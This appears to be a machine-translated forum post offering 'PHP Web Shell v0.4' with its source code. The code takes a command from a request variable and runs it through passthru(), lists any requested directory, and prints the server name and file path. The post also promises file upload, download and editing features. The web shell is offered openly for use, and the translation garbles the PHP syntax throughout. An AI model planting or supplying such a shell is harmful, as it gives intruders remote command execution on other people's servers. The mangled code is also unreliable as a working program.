PHPShell has previously written a PHP & nbsp; CMD & nbsp; Shell without any technical content. it always feels that the function is weak and it has not been well handled for some problems, for example, ghost has previously written a php cmd Shell without any technical content. he always finds that the function is weak and does not handle some problems well, such as browsing directories. after learning PHP in depth, I found a lot of interesting functions, so I wrote a new PHP Shell and hoped everyone would like it!
Program introduction:
Program: PHP Web Shell
Version: v0.4
Function:
1. supports mainstream operating systems: Win32/* nix/* BSD
2. execute system commands/Programs
3. Browse directory
Future features:
1. support for online file upload/download
2. supports online file creation, deletion, addition, and modification.
Program code:
PHP Web Shell v0.4
PHP Web ShellV0.4
Applicable Systems: Win32, Linux, Unix, and BSD
Echo "SERVER address: $ _ SERVER [SERVER_NAME]
"; // Display the server domain name or IP address
Echo "path of this file: $ _ SERVER [PATH_TRANSLATED]"; // display the path of the file
?>
If (! Empty ($ cmd )){
Echo "result after executing the $ cmd command:
"; // Prompt after the command is executed
}
If (! Empty ($ dir )){
Echo "view the result of directory $ dir:
"; // The prompt after viewing the Directory
}
?>
If (empty ($ cmd) & empty ($ dir) {// determines whether a command is input. if not, an error message is displayed.
Echo "enter the command you want to execute or the directory you want to browse!
(Make sure that the system has the corresponding command or directory and the corresponding operation permissions)
";
}
@ Passthru ($ cmd); // use the passthru () function to execute the obtained command (variable). similar functions in PHP include system (), popen (), Exec (), etc.
$ F = @ opendir ($ dir); // use the opendir () function to obtain the directory information and assign it to the variable.
While ($ file = @ readdir ($ f) {// use the readdir () function to read directory information cyclically
Echo "$ file \ n"; // The obtained directory information is displayed in the branch.
}
?>